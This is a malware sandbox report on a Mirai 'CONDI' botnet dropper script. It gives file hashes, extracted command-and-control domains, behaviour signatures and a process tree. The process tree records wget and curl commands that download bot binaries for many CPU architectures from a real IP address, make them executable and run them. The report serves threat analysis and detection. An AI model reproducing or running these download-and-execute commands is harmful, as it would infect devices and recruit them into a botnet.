Overview

overview

10

Static

static

1

51.79.141....113.sh

ubuntu-18.04-amd64

10

51.79.141....113.sh

debian-9-armhf

10

51.79.141....113.sh

debian-9-mips

10

51.79.141....113.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    29-12-2024 21:33

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    51.79.141.121-sora.sh-2024-12-29T211113.sh

  • Size

    2KB

  • MD5

    0569b09a5951d5fe444efa1892b87687

  • SHA1

    0d3df40a37ec718be33d83c1c9a962e982a51d17

  • SHA256

    6c568bd265a5c182913cd277c88a151c797dfeb05244edaf156dea1b389a0baa

  • SHA512

    fbdf5cd3d7ee86f61d205e2745661444152304f594c73562a5b7d59adfdfed3adadbb59954afb7618f64d29e283ef15e1dfaf82cef3a79dc74c08cda5580b11d

Score
10/10
miraicondibotnetdefense_evasiondiscovery

Malware Config

Extracted

Family

mirai

Botnet

CONDI

C2

botnet.tfmobile.store

report.tfmobile.store

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai family
    mirai
  • Contacts a large (28410) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 14 IoCs
  • Modifies Watchdog functionality 1 TTPs 18 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates active TCP sockets 1 TTPs 8 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Writes file to system bin folder 9 IoCs
  • Changes its process name 9 IoCs
  • Reads system network configuration 1 TTPs 8 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Reads runtime system information 14 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/51.79.141.121-sora.sh-2024-12-29T211113.sh
    /tmp/51.79.141.121-sora.sh-2024-12-29T211113.sh
    1⤵
    • Writes file to tmp directory
    PID:702
    • /usr/bin/wget
      wget http://51.79.141.121/where/botx.x86
      2⤵
      • Writes file to tmp directory
      PID:705
    • /usr/bin/curl
      curl -O http://51.79.141.121/where/botx.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:729
    • /bin/cat
      cat botx.x86
      2⤵
        PID:730
      • /bin/chmod
        chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.x86 robben systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-wp1eEd
        2⤵
        • File and Directory Permissions Modification
        PID:731
      • /tmp/robben
        ./robben Payload
        2⤵
        • Executes dropped EXE
        PID:732
      • /usr/bin/wget
        wget http://51.79.141.121/where/botx.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:734
      • /usr/bin/curl
        curl -O http://51.79.141.121/where/botx.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:735
      • /bin/cat
        cat botx.mips
        2⤵
        • System Network Configuration Discovery
        PID:742
      • /bin/chmod
        chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.mips botx.x86 robben systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-wp1eEd
        2⤵
        • File and Directory Permissions Modification
        PID:744
      • /tmp/robben
        ./robben Payload
        2⤵
        • Executes dropped EXE
        PID:746
      • /usr/bin/wget
        wget http://51.79.141.121/where/botx.x86_64
        2⤵
          PID:749
        • /usr/bin/curl
          curl -O http://51.79.141.121/where/botx.x86_64
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:761
        • /bin/cat
          cat botx.x86_64
          2⤵
            PID:774
          • /bin/chmod
            chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.mips botx.x86 botx.x86_64 robben systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-wp1eEd
            2⤵
            • File and Directory Permissions Modification
            PID:775
          • /tmp/robben
            ./robben Payload
            2⤵
            • Executes dropped EXE
            PID:776
          • /usr/bin/wget
            wget http://51.79.141.121/where/botx.i468
            2⤵
              PID:778
            • /usr/bin/curl
              curl -O http://51.79.141.121/where/botx.i468
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:791
            • /bin/cat
              cat botx.i468
              2⤵
                PID:792
              • /bin/chmod
                chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.i468 botx.mips botx.x86 botx.x86_64 robben systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-wp1eEd
                2⤵
                • File and Directory Permissions Modification
                PID:793
              • /tmp/robben
                ./robben Payload
                2⤵
                • Executes dropped EXE
                PID:794
              • /usr/bin/wget
                wget http://51.79.141.121/where/botx.i686
                2⤵
                  PID:795
                • /usr/bin/curl
                  curl -O http://51.79.141.121/where/botx.i686
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:796
                • /bin/cat
                  cat botx.i686
                  2⤵
                    PID:797
                  • /bin/chmod
                    chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.i468 botx.i686 botx.mips botx.x86 botx.x86_64 robben systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-wp1eEd
                    2⤵
                    • File and Directory Permissions Modification
                    PID:798
                  • /tmp/robben
                    ./robben Payload
                    2⤵
                    • Executes dropped EXE
                    PID:799
                  • /usr/bin/wget
                    wget http://51.79.141.121/where/botx.mpsl
                    2⤵
                    • Writes file to tmp directory
                    PID:800
                  • /usr/bin/curl
                    curl -O http://51.79.141.121/where/botx.mpsl
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:811
                  • /bin/cat
                    cat botx.mpsl
                    2⤵
                      PID:832
                    • /bin/chmod
                      chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.i468 botx.i686 botx.mips botx.mpsl botx.x86 botx.x86_64 robben systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-wp1eEd
                      2⤵
                      • File and Directory Permissions Modification
                      PID:833
                    • /tmp/robben
                      ./robben Payload
                      2⤵
                      • Executes dropped EXE
                      • Modifies Watchdog functionality
                      • Writes file to system bin folder
                      • Changes its process name
                      PID:834
                    • /usr/bin/wget
                      wget http://51.79.141.121/where/botx.arm4
                      2⤵
                        PID:836
                      • /usr/bin/curl
                        curl -O http://51.79.141.121/where/botx.arm4
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:837
                      • /bin/chmod
                        chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.arm4 botx.i468 botx.i686 botx.mips botx.mpsl botx.x86 botx.x86_64 robben
                        2⤵
                        • File and Directory Permissions Modification
                        PID:842
                      • /tmp/robben
                        ./robben Payload
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Enumerates active TCP sockets
                        • Writes file to system bin folder
                        • Changes its process name
                        • Reads system network configuration
                        PID:843
                      • /usr/bin/wget
                        wget http://51.79.141.121/where/botx.arm5
                        2⤵
                        • Writes file to tmp directory
                        PID:847
                      • /usr/bin/curl
                        curl -O http://51.79.141.121/where/botx.arm5
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:848
                      • /bin/chmod
                        chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.arm4 botx.arm5 botx.i468 botx.i686 botx.mips botx.mpsl botx.x86 botx.x86_64 robben
                        2⤵
                        • File and Directory Permissions Modification
                        PID:852
                      • /tmp/robben
                        ./robben Payload
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Enumerates active TCP sockets
                        • Writes file to system bin folder
                        • Changes its process name
                        • Reads system network configuration
                        PID:853
                      • /usr/bin/wget
                        wget http://51.79.141.121/where/botx.arm6
                        2⤵
                        • Writes file to tmp directory
                        PID:855
                      • /usr/bin/curl
                        curl -O http://51.79.141.121/where/botx.arm6
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:856
                      • /bin/chmod
                        chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.arm4 botx.arm5 botx.arm6 botx.i468 botx.i686 botx.mips botx.mpsl botx.x86 botx.x86_64 robben
                        2⤵
                        • File and Directory Permissions Modification
                        PID:860
                      • /tmp/robben
                        ./robben Payload
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Enumerates active TCP sockets
                        • Writes file to system bin folder
                        • Changes its process name
                        • Reads system network configuration
                        PID:861
                      • /usr/bin/wget
                        wget http://51.79.141.121/where/botx.arm7
                        2⤵
                        • Writes file to tmp directory
                        PID:863
                      • /usr/bin/curl
                        curl -O http://51.79.141.121/where/botx.arm7
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:864
                      • /bin/chmod
                        chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.arm4 botx.arm5 botx.arm6 botx.arm7 botx.i468 botx.i686 botx.mips botx.mpsl botx.x86 botx.x86_64 robben
                        2⤵
                        • File and Directory Permissions Modification
                        PID:868
                      • /tmp/robben
                        ./robben Payload
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Enumerates active TCP sockets
                        • Writes file to system bin folder
                        • Changes its process name
                        • Reads system network configuration
                        PID:869
                      • /usr/bin/wget
                        wget http://51.79.141.121/where/botx.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:871
                      • /usr/bin/curl
                        curl -O http://51.79.141.121/where/botx.ppc
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:874
                      • /bin/chmod
                        chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.arm4 botx.arm5 botx.arm6 botx.arm7 botx.i468 botx.i686 botx.mips botx.mpsl botx.ppc botx.x86 botx.x86_64 robben
                        2⤵
                        • File and Directory Permissions Modification
                        PID:876
                      • /tmp/robben
                        ./robben Payload
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Enumerates active TCP sockets
                        • Writes file to system bin folder
                        • Changes its process name
                        • Reads system network configuration
                        PID:877
                      • /usr/bin/wget
                        wget http://51.79.141.121/where/botx.ppc440fp
                        2⤵
                          PID:879
                        • /usr/bin/curl
                          curl -O http://51.79.141.121/where/botx.ppc440fp
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:880
                        • /bin/chmod
                          chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.arm4 botx.arm5 botx.arm6 botx.arm7 botx.i468 botx.i686 botx.mips botx.mpsl botx.ppc botx.ppc440fp botx.x86 botx.x86_64 robben
                          2⤵
                          • File and Directory Permissions Modification
                          PID:884
                        • /tmp/robben
                          ./robben Payload
                          2⤵
                          • Executes dropped EXE
                          • Modifies Watchdog functionality
                          • Enumerates active TCP sockets
                          • Writes file to system bin folder
                          • Changes its process name
                          • Reads system network configuration
                          PID:885
                        • /usr/bin/wget
                          wget http://51.79.141.121/where/botx.m68k
                          2⤵
                          • Writes file to tmp directory
                          PID:887
                        • /usr/bin/curl
                          curl -O http://51.79.141.121/where/botx.m68k
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:888
                        • /bin/chmod
                          chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.arm4 botx.arm5 botx.arm6 botx.arm7 botx.i468 botx.i686 botx.m68k botx.mips botx.mpsl botx.ppc botx.ppc440fp botx.x86 botx.x86_64 robben
                          2⤵
                          • File and Directory Permissions Modification
                          PID:892
                        • /tmp/robben
                          ./robben Payload
                          2⤵
                          • Executes dropped EXE
                          • Modifies Watchdog functionality
                          • Enumerates active TCP sockets
                          • Writes file to system bin folder
                          • Changes its process name
                          • Reads system network configuration
                          PID:893
                        • /usr/bin/wget
                          wget http://51.79.141.121/where/botx.sh4
                          2⤵
                          • Writes file to tmp directory
                          PID:895
                        • /usr/bin/curl
                          curl -O http://51.79.141.121/where/botx.sh4
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:896
                        • /bin/chmod
                          chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.arm4 botx.arm5 botx.arm6 botx.arm7 botx.i468 botx.i686 botx.m68k botx.mips botx.mpsl botx.ppc botx.ppc440fp botx.sh4 botx.x86 botx.x86_64 robben
                          2⤵
                          • File and Directory Permissions Modification
                          PID:900
                        • /tmp/robben
                          ./robben Payload
                          2⤵
                          • Executes dropped EXE
                          • Modifies Watchdog functionality
                          • Enumerates active TCP sockets
                          • Writes file to system bin folder
                          • Changes its process name
                          • Reads system network configuration
                          PID:901

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/botx.x86
                        Filesize

                        50KB

                        MD5

                        1092f7846a6ca7a5e92ece0ea93ff82e

                        SHA1

                        140fd3e84c49d382e6b0f9a40730d1cd465f8347

                        SHA256

                        a5ddb64df4b96bfeae6860981f98b4845df83db34ffaf238548bede6067f15c2

                        SHA512

                        11ba6cdfba1784d5f2895f351def8d6a4dc0d5efd56b735978d1ff7416d2a52da07931250f37311362c8d522f7db89e3ac8bf1de890302afa6281ce2a2f6b2ba

                        Download Submit

                      • /tmp/robben
                        Filesize

                        71KB

                        MD5

                        b5aeba1a09f5198a71db73371f6e01b6

                        SHA1

                        246b98370fdf429e94ab4ca087828acabbbebd9c

                        SHA256

                        7a81d936e21b859c70565eddf8e6e50658f6dff077a53adb0ec3cf313ce9f71f

                        SHA512

                        68db247b59d9fe3e030d56e48f2032c6e0d4bf203aef4e850da7dcda7185e60370fa577f2b97f9b6026b0599ae35ecca9fb48c8ace300d9820fb6a16b5722c57

                        Download Submit

                      • /tmp/robben
                        Filesize

                        215B

                        MD5

                        0797a2600ddc5e8572bfb37b8af0aa29

                        SHA1

                        4f7fc88100b7896f12d953c0b7dd18f516e573d1

                        SHA256

                        1f1fe3f0ef586643c0c73185c744b40b31c4241a90a30a0880c866dbc04fe538

                        SHA512

                        0298488cf573edce6fa015e17439f3ed66285dfc5b908017e95c3a71f44f1f1949a64f69cb1ac8b64cb9e8c28c15ca0b35e8cd04265ffcae3f736f7151ef6dec

                        Download Submit

                      • /tmp/robben
                        Filesize

                        213B

                        MD5

                        51b807212d0b7e7a9a37e4536b2d0133

                        SHA1

                        f130ad0c7f78e1a99f76ed36c003cb5cac871843

                        SHA256

                        94bf03444a7262f62fc6b9ca294b0cdb3bcf96d03fe1d5bdf286ddea26759c11

                        SHA512

                        a86a291fbeeeae74466791679a9a22e9224a03e3a625676d678e9a11ca887c792ba8496dbac6e40fd3b289258698d7c5b882f33c89630532f7570de16bffd2e4

                        Download Submit

                      • /tmp/robben
                        Filesize

                        213B

                        MD5

                        033d284ddf80a0d366e8d7543fc26df4

                        SHA1

                        fe4845a1d864f47c5d0e330a8fd9eaf7759aa9f5

                        SHA256

                        f45f2580c1af1c5c96a1aa6a312b2079c21c1b929f418b91d9bf323a57f89aa8

                        SHA512

                        e58e6f5200b6a9022c93da8d13a1a2bf2b50ad6fd5f1144e9979ae66adf9a441a796adebdd9cef942abeadb8ed42a5242c24dca330cb77730269233ff8839fb2

                        Download Submit

                      • /tmp/robben
                        Filesize

                        71KB

                        MD5

                        a3f985a018e2ddfc97ce78fcea072bce

                        SHA1

                        409ea4c6827193bd9724d48e6fd39715ea86b0bd

                        SHA256

                        56979f6909591f377fbf808bbddf134d1b0aff03e869f7fa7da7bdebe037475d

                        SHA512

                        bd16a7d1b4e58f62a2c6ab536ec7fe43aff8a9c19a976475119b4c42fa56de773ef110576bf371c47bc393f7cf396b82c81ed75ef76849319285bdbfd34209be

                        Download Submit